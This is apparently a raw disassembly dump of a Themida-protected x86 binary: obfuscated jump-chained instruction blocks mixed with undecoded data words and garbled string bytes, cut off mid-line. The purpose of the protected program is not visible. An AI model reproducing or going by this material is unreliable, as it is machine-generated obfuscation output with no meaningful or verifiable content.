0E95FFFFFh, 32E8h dd 6CE3E951h, 0E95C0000h, 0FFFFDDD8h, 240CFF56h, 0FF2E49E9h dd 0D76866FFh, 665F6679h, 0C166DFF7h, 816604E7h, 661A34E7h dd 6667F781h, 5FFD8966h, 66E82966h, 3A98E95Dh, 0FA880000h dd 0FFB11AE9h, 25BD55FFh, 0E97FF920h, 0FFFF89A9h, 24048B66h dd 0FF6FCDE9h, 0CD0159FFh, 242C8759h, 0C53E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_51D182: ; CODE XREF: Themida_:00512378j add ebx, 30590D74h add ebx, ecx jmp loc_51A2CD ; --------------------------------------------------------------------------- db 81h dd 0A16DD5EFh, 4EC8311h, 0BA241489h, 131E0B43h, 0A0EA8142h dd 4253722Eh, 5E54F281h, 0F2817272h, 80ECA22Ah, 148BD731h dd 4C48124h, 89000000h, 243C8BFAh, 8904C483h, 24148BD1h dd 4C481h, 0F1810000h, 2C70657Ch, 0A4B85053h, 3511A30Ch dd 7B574E85h, 0D585BD55h, 0E8294205h, 5D2434FFh, 0E904C483h dd 713Ch, 4220C181h, 0E9814092h, 0F4BA3B35h, 0E959CA01h dd 1D2Dh ; --------------------------------------------------------------------------- loc_51D20C: ; CODE XREF: Themida_:0051623Aj pop ebp add ebx, eax sub ebx, 60C410A9h push dword ptr [esp] pop eax add esp, 4 jmp loc_5142D7 ; --------------------------------------------------------------------------- dd 3E32BF57h, 0FD015730h, 0C7BE565Fh, 0C12DE61Dh, 0F68105E6h dd 68C51A1h, 0FF9AC3E9h, 4EC83FFh, 0B8240489h, 73E845DCh dd 1155A025h, 23683501h, 0F43533AFh, 0F759EC29h, 514A2DD8h dd 0C7898F34h, 57D7F758h, 0E9240CFFh, 0FFFF61BAh, 0DC62E958h dd 0C681FFFFh, 71097043h, 3023E9h, 4C08300h, 0E9240487h dd 2264h ; --------------------------------------------------------------------------- loc_51D28C: ; CODE XREF: Themida_:0051514Aj sub edi, 2BB9DC7Ch add eax, edi pop edi add eax, 4 push eax mov eax, esp push edi jmp loc_5150D1 ; --------------------------------------------------------------------------- db 92h dd 0FF9230E9h, 24148BFFh, 0E9E18951h, 0FFFF835Eh, 42474FFh dd 24048F5Bh, 0F1F7665Ch, 34046856h, 24890000h, 24048124h dd 4, 8324348Bh, 555304C4h, 8F679A68h, 0BB535D38h, 0C770986Ah dd 0FFF108E9h, 772F68FFh, 0C890000h, 21BE5624h, 0E9769F5Eh dd 0FFFFA3DBh, 0C381D329h, 14E4380h, 0FF377BE9h, 26685AFFh dd 8900001Ah, 0EC812434h, 4, 0E9242489h, 257Eh, 2404875Ch dd 24048F5Ch, 6624248Bh, 6824048Bh, 846h, 68241C89h, 6192h dd 24048F54h, 5BE5E9h db 0 ; --------------------------------------------------------------------------- loc_51D345: ; CODE XREF: Themida_:0051DDA0j push ebp not dword ptr [esp] jmp loc_5222AE ; --------------------------------------------------------------------------- loc_51D34E: ; CODE XREF: Themida_:0051FFFBj xchg ebp, [esp] pop esp push edx mov edx, esp add edx, 4 push esi mov esi, 4 add edx, esi pop esi xchg edx, [esp] mov esp, [esp] jmp loc_51E912 ; --------------------------------------------------------------------------- db 49h dd 5DE9D187h, 81FFFF47h, 4A03ACE9h, 2ED5E94Bh, 14F7FFFFh dd 0A3A3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D38A: ; CODE XREF: Themida_:005213E7j shr edx, 2 and edx, 59B81C10h jmp loc_5113A3 ; --------------------------------------------------------------------------- dd 5C240487h, 52240489h, 0C169A7BAh, 2444812Ah, 813BA104h dd 95E2E939h, 0EF88FFFFh, 59C3E9h, 2EE94200h, 8100000Dh dd 246352C9h, 0E9545751h, 537h, 565BDE31h, 0C681E689h dd 4, 4EE81h, 0FF560000h, 0E9042474h, 5778h, 5A52CB81h dd 9DE911B0h, 89000043h, 243C8BFDh, 5591E957h, 5751FFFFh dd 4190E953h, 0E9500000h, 0FFFF53B5h, 8BD7015Fh, 0C4812414h dd 4, 3676EF81h, 0D7F7DAB8h, 1E1B951h, 74E94C7Bh db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51D42B: ; CODE XREF: Themida_:00520522j shl eax, cl push 1274h jmp loc_522EA8 ; --------------------------------------------------------------------------- db 0F7h dd 0A6EB81D3h, 1142F23h, 241C8BDAh, 81E78957h, 4C7h, 4C78100h dd 87000000h, 295C243Ch, 67C4E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D45E: ; CODE XREF: Themida_:0050FEF5j pop ecx jmp loc_51EF8E ; --------------------------------------------------------------------------- dd 4C481h, 48F0000h, 24248B24h, 24048966h, 0FF7EC5E9h db 0FFh ; --------------------------------------------------------------------------- loc_51D479: ; CODE XREF: Themida_:0051FD78j push 1416h jmp loc_514B14 ; --------------------------------------------------------------------------- db 24h dd 12C26h, 636858C3h, 8900001Ah, 84E92414h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D497: ; CODE XREF: Themida_:0051DEFEj add eax, edx mov edx, [esp] add esp, 4 push 69CAh jmp loc_511742 ; --------------------------------------------------------------------------- dd 2D0D8DB8h, 0E9D8F74Ah, 0FFFF3A66h, 33240431h, 0E95C2404h dd 0FFFFA986h, 4D58C681h, 3EE94F80h, 29FFFFE3h, 0E9815EF1h dd 1CE2626h, 0FFD110E9h db 0FFh ; --------------------------------------------------------------------------- loc_51D4DD: ; CODE XREF: Themida_:00516089j sub edi, ebx pop ebx sub edi, ebx add edi, 5B9079D8h sub edi, 24E05EC9h mov ebx, [esp] add esp, 4 add edx, edi mov edi, [esp] push ebp jmp loc_51E1D2 ; --------------------------------------------------------------------------- loc_51D4FF: ; CODE XREF: Themida_:0051DA02j sub esp, 4 mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 jmp loc_51AADC ; --------------------------------------------------------------------------- db 8Bh dd 2C892424h, 52E58924h, 4BAh, 0DD13E900h, 4D5AFFFFh, 0FFB9F8E9h dd 2434FFFFh, 0E189515Fh, 0FF8AC7E9h, 24248BFFh, 0FFC5B4E9h dd 0EA895FFFh, 1C57095Dh, 8B2434FFh, 0C4832414h, 8297E904h dd 0C681FFFFh, 9FEE18BFh, 15EF729h, 243C8BFBh, 4C481h dd 2FE90000h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_51D577: ; CODE XREF: Themida_:00524F82j mov eax, 4 add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] jmp loc_5104F8 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 0C0h db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D593: ; CODE XREF: Themida_:0051806Cj push ax mov al, 98h sub bl, al pop ax add bl, 35h push cx push ebx jmp loc_51F1FD ; --------------------------------------------------------------------------- dw 0C87h dd 0FF6DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D5AE: ; CODE XREF: Themida_:0051C2CEj push ebx push ebp push edx push edi jmp loc_5105D9 ; --------------------------------------------------------------------------- db 81h dd 880FBEC3h, 81F3014Bh, 880FBEEBh, 24348B4Bh, 4C481h dd 0BD550000h, 4, 0B9E9EB01h, 31FFFF45h, 4332404h, 8C6DE924h dd 0D031FFFFh, 0FF2DB5E9h, 8EAC1FFh, 2BEDCA81h, 0EAE9077Eh dd 50FFFF4Dh, 0DB5AB6B8h, 8BC72904h, 0C4832404h, 2434FF04h dd 4268565Eh, 89000076h, 4832424h, 348B0424h, 4C48124h dd 55000000h, 0DA2AC2BDh, 0C6F58106h, 106DA2Ah, 4276E9EEh dd 2C89FFFFh, 4BD24h, 6C010000h, 8B5D0424h, 0C483243Ch dd 4C78104h, 68000000h, 132Ah, 0E9242C89h, 0FFFF6092h dd 8124348Bh, 4C4h, 0BF575000h, 258C6CB5h, 8C6CB1B8h, 1386E925h dd 89560000h, 4C681E6h, 83000000h, 348704C6h, 0E6C15C24h dd 8EEC106h, 90EBE950h, 0EC83FFFFh, 0EE46E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D69A: ; CODE XREF: Themida_:0051A23Bj and eax, edi push dword ptr [esp] mov edi, [esp] push esi mov esi, esp jmp loc_51CA17 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 55000000h, 4BDh, 5DEE2900h, 12FBE9h, 81D3F700h dd 0BF7C09E3h, 9BB95124h, 814CEF4Dh, 8052D2E9h, 7E9C10Eh dd 1C8AC981h, 0BF571866h, 50514EFEh, 815FF909h, 419D18C1h dd 3887E922h, 0C1010000h, 0FFF261E9h db 0FFh ; --------------------------------------------------------------------------- loc_51D6F9: ; CODE XREF: Themida_:005126B0j pop eax push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_512655 ; --------------------------------------------------------------------------- db 89h dd 0E0892404h, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 0FF6004E9h dd 0EB8953FFh, 0FF7F3AE9h, 37C181FFh, 29BFA8E6h, 6055E9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51D73E: ; CODE XREF: Themida_:005248F5j pop ebx add esp, 4 xchg esi, [esp] mov esp, [esp] or eax, eax jz loc_51E69D push dword ptr [edi+28h] mov eax, [esp] sub esp, 4 mov [esp], eax push esp pop eax push edx mov edx, 32A622C9h push 1A93h jmp loc_5180D3 ; --------------------------------------------------------------------------- dd 27BAE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D77A: ; CODE XREF: Themida_:00510F82j mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_51B931 ; --------------------------------------------------------------------------- loc_51D78A: ; CODE XREF: Themida_:0051883Bj sub ebx, 52664284h sub ebx, 767337A6h add ebx, edi sub esp, 4 mov [esp], eax mov eax, 767337A6h add ebx, eax pop eax push eax mov eax, 7676270Fh jmp loc_5154AD ; --------------------------------------------------------------------------- loc_51D7B1: ; CODE XREF: Themida_:0051446Fj pop edx push ebx jmp loc_516459 ; --------------------------------------------------------------------------- aFxai5Ua5aBxaSM db '(ÃfX€ë5(ã€Ã5€Ã¡X€Ã;é#m',0 align 10h dd 81E38953h, 4C3h, 4EB8300h, 0FFC627E9h db 0FFh ; --------------------------------------------------------------------------- loc_51D7E1: ; CODE XREF: Themida_:0051F2DFj mov edx, 4 sub ebp, 791C3CBBh add ebp, edx add ebp, 791C3CBBh jmp loc_513727 ; --------------------------------------------------------------------------- loc_51D7F9: ; CODE XREF: Themida_:005178DFj add ebx, 3CCF7DF8h sub ebx, 3A174776h sub eax, ebx pop ebx neg eax neg eax jmp loc_513BB4 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0CCh dd 0E92E5F2Eh, 0FFFF5C8Ch, 0EA80C2FEh, 5AD328AFh, 8094B450h dd 5366DFCCh, 0DC3093B3h, 0EFE95B66h, 0FFFFFF9Ch, 50582434h dd 5DE9E089h, 81FFFF59h, 4C3h, 4EB8100h, 87000000h, 0E95C241Ch dd 0FFFF8970h, 4C781h, 8AE90000h, 81FFFFC4h, 0EF57F2C3h dd 502BE91Ah, 2C8B0000h, 4C48324h, 5C24048Fh, 24042966h dd 1E8AE99Ch, 8159FFFFh, 0C04978EDh, 0B7E1E958h, 1C89FFFFh dd 0F8E95424h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D897: ; CODE XREF: Themida_:00511E03j mov esp, [esp] push 710Ch jmp loc_517502 ; --------------------------------------------------------------------------- loc_51D8A4: ; CODE XREF: Themida_:0051EC9Aj pop eax push dword ptr [eax] jmp loc_50F70C ; --------------------------------------------------------------------------- dd 0C4805BB4h, 0B5B551C9h, 5366C5FEh, 0C3FEEB88h, 20E9DD88h dd 0B5000050h, 66E828F8h, 4EC8159h, 89000000h, 77B3241Ch dd 0FFE549E9h, 0C0F480FFh, 5358E588h, 682DE9h, 4C48300h dd 81FFEB83h, 9076B9EBh, 0F779E966h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D8F6: ; CODE XREF: Themida_:005108F6j xor ebp, 6634F68h not ebp jmp loc_52019C ; --------------------------------------------------------------------------- db 5Fh dd 4C781h, 0BA520000h, 4, 5AE9D729h, 50FFFF90h, 405E089h dd 53000000h, 0F334EBBBh, 0DBF74B50h, 0CB12EB81h, 4DE9AF0Ch dd 81FFFF63h, 332DC1F1h, 8CA3E938h, 1C8BFFFFh, 4C48124h dd 0E9000000h, 2C00h ; --------------------------------------------------------------------------- loc_51D94C: ; CODE XREF: Themida_:0052404Ej push 726Ch mov [esp], eax jmp loc_5165CB ; --------------------------------------------------------------------------- loc_51D959: ; CODE XREF: Themida_:0051FB9Dj add esp, 4 jmp loc_51AE27 ; --------------------------------------------------------------------------- dd 4C481h, 0E7C10000h, 68DFF706h, 4F43h, 0E9241C89h, 998h dd 0E305CB8h, 30582D28h, 0C201280Eh, 9CC4E958h, 0C581FFFFh dd 4, 0E9242C87h, 0FFFF3F37h, 0C381E389h, 4, 4EB81h, 1C870000h dd 0EE94E924h, 8B58FFFFh, 24E92434h, 52FFFF8Fh, 5D82E9h dd 1D46E900h, 0E952FFFFh, 95Bh ; --------------------------------------------------------------------------- loc_51D9CC: ; CODE XREF: Themida_:0051FECAj mov eax, 2EB5010Dh shl eax, 4 add eax, 5E24F8E8h and edx, eax pop eax sub edx, 1640124h push edx xor dword ptr [esp], 180559D7h pop ebp xor ebp, 180559D7h mov edx, [esp] add esp, 4 add eax, ebp mov ebp, [esp] add esp, 4 jmp loc_51D4FF ; --------------------------------------------------------------------------- loc_51DA07: ; CODE XREF: Themida_:00512DAEj push esp pop eax push 4F4Ah mov [esp], ecx push 4 pop ecx jmp loc_51A57B ; --------------------------------------------------------------------------- dd 3DACE681h, 5E93973h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DA27: ; CODE XREF: Themida_:00510036j mov edi, esp add edi, 4 jmp loc_5203FD ; --------------------------------------------------------------------------- loc_51DA34: ; CODE XREF: Themida_:00510716j mov esp, [esp] add ebp, 4 jmp loc_522F3E ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FFFF742Bh, 5F5BC005h, 6864E91Ch, 3489FFFFh, 0E7895724h dd 4C781h, 0CCE90000h, 8BFFFF7Dh, 48F2424h, 52E95C24h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51DA6F: ; CODE XREF: Themida_:00522919j add eax, 4 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp shr eax, 0Bh xor ecx, eax sub esp, 4 mov [esp], edx push ebx mov edx, [esp] add esp, 4 mov eax, edx push dword ptr [esp] jmp loc_512433 ; --------------------------------------------------------------------------- dd offset dword_553E68 dw 8900h dd 0E953242Ch, 0FFFF3DC7h ; --------------------------------------------------------------------------- loc_51DAB4: ; CODE XREF: Themida_:00513852j mov dh, ch mov ecx, [esp] push esi push esp pop esi jmp loc_51818A ; --------------------------------------------------------------------------- db 59h, 8Bh, 2Ch dd 4C48124h, 87000000h, 248B243Ch, 24043024h, 1C32E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DADA: ; CODE XREF: Themida_:0051CB76j sub esi, edi pop edi xor esi, 77F85A15h mov ebx, esi pop esi neg ebx or ebx, 6B26D77h jmp loc_522574 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 589BB24h, 5C014F92h, 1C8B0824h, 4C48324h dd 396CB850h, 0DBE96E87h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DB13: ; CODE XREF: Themida_:0051B64Cj push 477h jmp loc_515F3A ; --------------------------------------------------------------------------- loc_51DB1D: ; CODE XREF: Themida_:0050FA9Cj xor edx, 0D2EEA6A5h mov edi, edx pop edx push ebp jmp loc_520A9C ; --------------------------------------------------------------------------- dd 8104C483h, 4C7h, 0C81DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DB3A: ; CODE XREF: Themida_:00510546j push dword ptr [esp] pop ecx sub esp, 4 mov [esp], edi push 26B7h jmp loc_522815 ; --------------------------------------------------------------------------- aYs0 db 'YéÒ0',0 dw 2D00h a73pXbs8Qzsv db '²}Þ7-3-Æ)ÁXé8`ïZé‚:',0 db 0 ; --------------------------------------------------------------------------- loc_51DB6F: ; CODE XREF: Themida_:0052024Ej push ebp mov ebp, esp push esi jmp loc_516BBE ; --------------------------------------------------------------------------- dd 24048B66h, 330D68h, 594FE900h, 0EE810000h, 4, 5C243487h dd 81242489h, 42404h, 0C8B0000h, 4C48324h, 4A1D68h, 24348900h dd 468h, 0BD555E00h, 38494ECDh, 11EDE981h, 84E94EE4h, 8100004Dh dd 6A3899CAh, 6850552Ch, 49B504F4h, 8124048Bh, 4C4h, 2DD8F700h dd 0B218F717h, 0C158C589h, 0F58707EDh, 0FF1F42E9h db 0FFh ; --------------------------------------------------------------------------- loc_51DBE9: ; CODE XREF: Themida_:00515CDBj mov edi, 3C0F2045h xor ebp, edi jmp loc_51B842 ; --------------------------------------------------------------------------- aTxsse db 'TXé‘e',0 align 4 dd 0E932FF66h, 0FFFF1B08h, 815AD129h, 0B55022E1h, 75E1812Ah dd 817F6861h, 6E6594C1h, 0DFC98167h, 0F74A1B5Dh, 0E8F181D9h dd 2944B912h, 34FF59CEh, 89525924h, 4C281E2h, 57000000h dd 4BFh, 5FFA2900h, 5C241487h, 89240C89h, 1ABF57E1h, 0E92BC167h dd 0FFFF7230h ; --------------------------------------------------------------------------- loc_51DC54: ; CODE XREF: Themida_:00517A75j add esp, 4 add ebx, edx push edx mov edx, 0 add edx, ebx add eax, [edx] mov edx, [esp] jmp loc_51BD8E ; --------------------------------------------------------------------------- db 52h dd 4BAh, 1DEB8100h, 1009366h, 1DC381D3h, 5A009366h, 31241C33h dd 68E9241Ch db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51DC8B: ; CODE XREF: Themida_:00511482j push esi mov esi, 2 sub ebp, 5DA40B33h jmp loc_521248 ; --------------------------------------------------------------------------- dd 8158C201h, 4839CEEAh, 0EEBB533Ah, 297DB39Dh, 0D6895BDAh dd 5A2434FFh, 8104C483h, 4D6626EAh, 0E3F9E903h, 0FD28FFFFh dd 0FFC018E9h, 24048FFFh, 8904EC83h, 6368242Ch, 8900002Fh dd 7EE9241Ch db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DCDF: ; CODE XREF: Themida_:0051E6C0j add edx, ebx jmp loc_516E26 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFF781Dh, 0C581E589h, 4, 81EE9h db 0 ; --------------------------------------------------------------------------- loc_51DCF9: ; CODE XREF: Themida_:00513676j push ebx not dword ptr [esp] pop ebx xor [esp], ebx xor ebx, [esp] xor [esp], ebx mov eax, [esp] sub esp, 4 jmp loc_514399 ; --------------------------------------------------------------------------- dw 2C5Ah dd 83C82826h, 1C8904ECh, 26B324h, 2434E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51DD26: ; CODE XREF: Themida_:0050FB68j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 add edi, 4 add edi, 4 jmp loc_51B456 ; --------------------------------------------------------------------------- dw 2C8Bh dd 7D6BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DD52: ; CODE XREF: Themida_:0051CAE2j dec ebx shr ebx, 1 or ebx, 7AC83E93h xor ebx, 28F877ABh jmp loc_51A8CA ; --------------------------------------------------------------------------- dw 0C483h dd 0E2895204h, 4C281h, 0BE560000h, 4, 0E95EF229h, 6760h dd 4EC815Ch, 89000000h, 0E6892434h, 4C681h, 0CAE90000h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51DD97: ; CODE XREF: Themida_:0051CE10j add ebp, edi sub ebp, 414F3315h pop edi jmp loc_51D345 ; --------------------------------------------------------------------------- db 56h, 0BEh, 4 dd 1000000h, 0CAE95EF2h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DDB3: ; CODE XREF: Themida_:00512F79j mov esi, 4 add edx, esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] jmp loc_521355 ; --------------------------------------------------------------------------- db 57h, 54h, 0E9h dd 0FFFFA119h, 242C875Bh, 6824248Bh, 7EB5h, 0BA241489h dd 4, 565AD301h, 0FF6414E9h, 53E589FFh, 4BBh, 0E9DD0100h dd 0B73h, 2EBCB951h, 0B9510363h, 3632EC0h, 0FFCB1AE9h dd 21C281FFh, 0E993E4F2h, 0CF1h, 241C8B5Ah, 1FFBE9h, 9CE95300h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51DE33: ; CODE XREF: Themida_:005232F7j push ebp mov ebp, 4 add esi, ebp pop ebp xchg esi, [esp] mov esp, [esp] not edx sub edx, 1 push ebp mov ebp, 13D2403Bh jmp loc_51E0F4 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 1D606824h, 1C890000h, 56E38924h, 4BEh, 69E95500h, 8100004Ch dd 0D2F29EAh, 7151E977h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DE7A: ; CODE XREF: Themida_:0050FEA6j xor edx, [esp] jmp loc_510680 ; --------------------------------------------------------------------------- dw 0E5C0h dd 2DED8003h, 459E800h, 0B4505115h, 0E9E188C8h, 6FD6h ; --------------------------------------------------------------------------- loc_51DE98: ; CODE XREF: Themida_:00517800j pop ebx jmp loc_51E781 ; --------------------------------------------------------------------------- loc_51DE9E: ; CODE XREF: Themida_:00522317j xor ebp, eax not eax xchg eax, ebp xor ebp, 0B0B08080h mov edi, ebp pop ebp and eax, edi push dword ptr [esp] pop edi push 75C1h mov [esp], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_51261C ; --------------------------------------------------------------------------- loc_51DECE: ; CODE XREF: Themida_:0052026Fj push esp jmp loc_519E42 ; --------------------------------------------------------------------------- dd 0EA81FA01h, 2C231EE6h, 4C3815Fh, 2900715Fh, 30CDE9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DEEA: ; CODE XREF: Themida_:00514A8Cj pop ecx jmp loc_520877 ; --------------------------------------------------------------------------- dd 2817C380h, 3C2C5BD8h, 0FF52F8E9h db 0FFh ; --------------------------------------------------------------------------- loc_51DEFD: ; CODE XREF: Themida_:0051B92Cj pop ecx jmp loc_51D497 ; --------------------------------------------------------------------------- db 81h dd 386947CBh, 6E3C167h, 0C0E95243h, 5CFFFF8Eh, 48BE530h dd 4C48124h, 0E9000000h, 0FFFFA384h, 0BF243C89h, 1B95272Ch dd 504FD7F7h, 0BCE9E089h, 0BBFFFFA5h, 4008161Ch, 25CAF381h dd 0BA5249ADh, 0F65ACC2Eh, 15AD301h, 0C875BD9h, 0E503E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DF56: ; CODE XREF: Themida_:00524638j pop ecx jmp loc_52322F ; --------------------------------------------------------------------------- dd 0DBF1815Dh, 815FFF7Fh, 0F95187C7h, 23EF813Ch, 14DFB44h dd 23C781CFh, 814DFB44h, 0F95187EFh, 2434FF3Ch, 83240C8Bh dd 30E904C4h, 66FFFF1Fh, 0E831665Ah, 0EB81665Dh, 8166230Dh dd 660C48EBh, 0B50C381h, 28A2E9h, 0C4815B00h, 4, 0B0505253h dd 90E2E94Eh, 44BDFFFFh, 290AE406h, 5D04246Ch, 69C9B951h dd 4C0145A3h, 0E9590424h, 0FFFF173Ch ; --------------------------------------------------------------------------- loc_51DFD0: ; CODE XREF: Themida_:0051F609j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub ebx, eax push eax push edi mov edi, 5BD136F1h xor edi, 50BC32FCh neg edi shr edi, 4 add edi, 2E001CC9h push edi pop eax mov edi, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] or eax, 65A71A58h add eax, 1 xor eax, 4A94E90h add ebx, eax mov eax, [esp] add esp, 4 push 1C77h mov [esp], eax push ebp mov ebp, 471274EBh add ebp, 319C7000h add ebp, 44002D88h jmp loc_5111EA ; --------------------------------------------------------------------------- dw 8951h dd 3EDAE9E1h, 3C89FFFFh, 4BF24h, 0ED810000h, 1F280B25h dd 315EC581h, 0FD011D50h, 315EED81h, 0B8501D50h, 1F280B25h dd 0FFB043E9h db 0FFh ; --------------------------------------------------------------------------- loc_51E079: ; CODE XREF: Themida_:00516958j mov [esp], ebx mov ebx, esp push ebp mov ebp, 17AE31BFh jmp loc_51AE13 ; --------------------------------------------------------------------------- db 53h, 50h, 0B4h dd 0FBCC808Ch, 80F3EC80h, 0E78867ECh, 0D0B7E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E09E: ; CODE XREF: Themida_:00521E24j add edi, 4 jmp loc_512A2B ; --------------------------------------------------------------------------- loc_51E0A9: ; CODE XREF: Themida_:00522AD3j mov edi, 351188Eh jmp loc_51B7C5 ; --------------------------------------------------------------------------- loc_51E0B3: ; CODE XREF: Themida_:005127B3j pop edi push 0C23h mov [esp], edi mov edi, 8C623BBh neg edi inc edi push esi mov esi, 0F739DC42h sub edi, esi pop esi add ebx, edi push dword ptr [esp] push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5109D7 ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 0E9h dd 5288h ; --------------------------------------------------------------------------- loc_51E0F4: ; CODE XREF: Themida_:0051DE50j add ebp, 4F896B30h sub edx, ebp pop ebp add ebp, edx pop edx push ecx sub esp, 4 mov [esp], eax mov eax, 64CC31A2h and eax, 44FD3201h add eax, 0BB33D004h push eax sub dword ptr [esp], 5B3E75C0h pop ecx add ecx, 5B3E75C0h pop eax add ebp, ecx pop ecx xchg ebp, [esp] pop esp jmp loc_51484E ; --------------------------------------------------------------------------- loc_51E132: ; CODE XREF: Themida_:0051170Aj xor eax, [esp] mov esp, [esp] mov [esp], edi mov edi, 6AD4271Ch push ebx mov ebx, 1C575ABh xor edi, ebx mov ebx, [esp] add esp, 4 jmp loc_52106A ; --------------------------------------------------------------------------- dw 0D905h dd 0F7330371h, 2DC60DD8h, 0B63526E3h, 352C675Eh, 8B98635Dh dd 7EE9C501h, 0FFFFFF93h, 26E92434h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51E17B: ; CODE XREF: Themida_:00516C91j mov ebx, [esp] push ecx jmp loc_521A7B ; --------------------------------------------------------------------------- dd 7FE9E589h, 2D000015h, 79BE7FF1h, 6765E9h db 0 ; --------------------------------------------------------------------------- loc_51E195: ; CODE XREF: Themida_:0051EEA5j add ebx, 1FF43C42h add ebx, 54F04BAFh pop eax push ebp mov ebp, 338C22B1h jmp loc_51788E ; --------------------------------------------------------------------------- db 0ADh, 0E9h, 0BAh dd 89FFFF23h, 4C781E7h, 50000000h, 0FF5796E9h, 47F181FFh dd 812B3D0Dh, 3250A8E9h, 6557E99Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51E1D2: ; CODE XREF: Themida_:0051D4FAj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub [edi+24h], edx mov edx, [esp] sub esp, 4 jmp loc_5112C4 ; --------------------------------------------------------------------------- dd offset dword_578968 align 4 dd 68242C89h, 23811CC5h, 99E9535Dh db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E203: ; CODE XREF: Themida_:005198A8j add ebx, edi pop edi add ebx, 61A90539h add ebx, edi sub ebx, 61A90539h sub ebx, 1BE02FB9h add ebx, 2F755B53h push 0EAAh jmp loc_51B234 ; --------------------------------------------------------------------------- dw 0C529h dd 3889BB53h, 0EB8151EAh, 43F33379h, 0B1C0EB81h, 0DD29E5B1h dd 4481585Bh, 0F300424h, 6C0152B9h, 6C810424h, 0F300424h dd 34FF52B9h, 0C4815D24h, 4, 8324048Bh, 4C6804C4h, 89000064h dd 0EC68243Ch, 89000041h, 0AA68241Ch, 89000022h, 7E9240Ch dd 89000010h, 89525AD1h, 5AD089CAh, 81240C8Bh, 4C4h, 6CEE8100h dd 0E952DC65h, 0FFFFD102h, 81242C8Bh, 4C4h, 68515500h dd 22BD0F21h, 592434FFh, 4C481h, 0C1810000h, 6518439Ah dd 4A94BE56h, 0F1317BFCh, 2DF1815Eh, 89FC2918h, 392D59CDh dd 0E9221675h, 0FFFFA585h ; --------------------------------------------------------------------------- loc_51E2DC: ; CODE XREF: Themida_:005193C3j not dword ptr [esp] pop ebx jmp loc_51850F ; --------------------------------------------------------------------------- loc_51E2E5: ; CODE XREF: Themida_:0051B868j pop eax add esp, 4 add ebx, edi pop edi push 54CDh mov [esp], ebx jmp loc_5205BD ; --------------------------------------------------------------------------- loc_51E2F9: ; CODE XREF: Themida_:0051EA6Cj sub cl, dl pop edx jmp loc_51166E ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 2B1044A8h, 0A8ED815Dh, 0E92B1044h, 0FFFFF72Eh, 0FB10B9BBh dd 5BDF095Ch, 4DDEBD55h, 0CE90D3Fh, 0BAFFFFB1h, 36BF3B97h dd 8245401h, 246C015Ah, 246C8104h, 0BF3B9704h, 6E685036h dd 58104566h, 8244401h, 8324048Bh, 0E95D04C4h, 0FFFF13B8h dd 3625C1BDh, 2626E94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E35E: ; CODE XREF: Themida_:00512A39j pop dword ptr [esp] mov esp, [esp] add esp, 4 push edi push 1 jmp loc_5102DA ; --------------------------------------------------------------------------- aAS7 db '€ËÛé¶7',0 dd 42D5F00h, 8903C6B2h, 2AC3E9C2h, 3C330000h, 0ED21E924h dd 348BFFFFh, 4C48124h, 0E9000000h, 0FFFF9B3Bh, 